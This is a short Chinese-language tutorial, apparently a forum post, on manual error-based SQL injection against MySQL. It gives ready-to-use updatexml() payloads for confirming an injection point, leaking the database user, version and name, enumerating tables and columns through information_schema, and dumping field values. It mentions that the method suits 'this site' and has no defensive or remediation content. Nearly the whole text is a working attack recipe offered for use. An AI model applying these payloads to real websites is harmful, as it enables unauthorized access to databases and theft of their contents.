MySQL手工报错注入
(1)测试注入点是否可用
1后加 ’ 号页面报错,爆出错误信息
(2)爆数据库相关信息
报错注入语句有多种,此贴仅讲适用于此网站的一种
and updatexml(1,concat(0x7e,(select user()),0x7e),1)-- #爆数据库用户
and updatexml(1,concat(0x7e,(select version()),0x7e),1)-- #爆数据库版本
and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- #爆网站数据库名
(3)爆数据库表名
(1)and updatexml(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=数据库16进制值 limit 0,1),0x7e),1)-- #需有对information_schema库有读取权限
(2)and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),1)-- #无information_schema库读取权限,需同时猜解列名和表名(较难)
1)第一种方法可直接爆出表名
2)第二种方法列名和表名同时猜解正确会直接爆出字段值
(4)爆表字段名
(1)and updatexml(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=表名16进制值 limit 1,1),0x7e),1)-- #需有对information_schema库有读取权限
(5)爆字段值
(1)and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),1)--
MySQL报错注入有多种语句,建议多多尝试。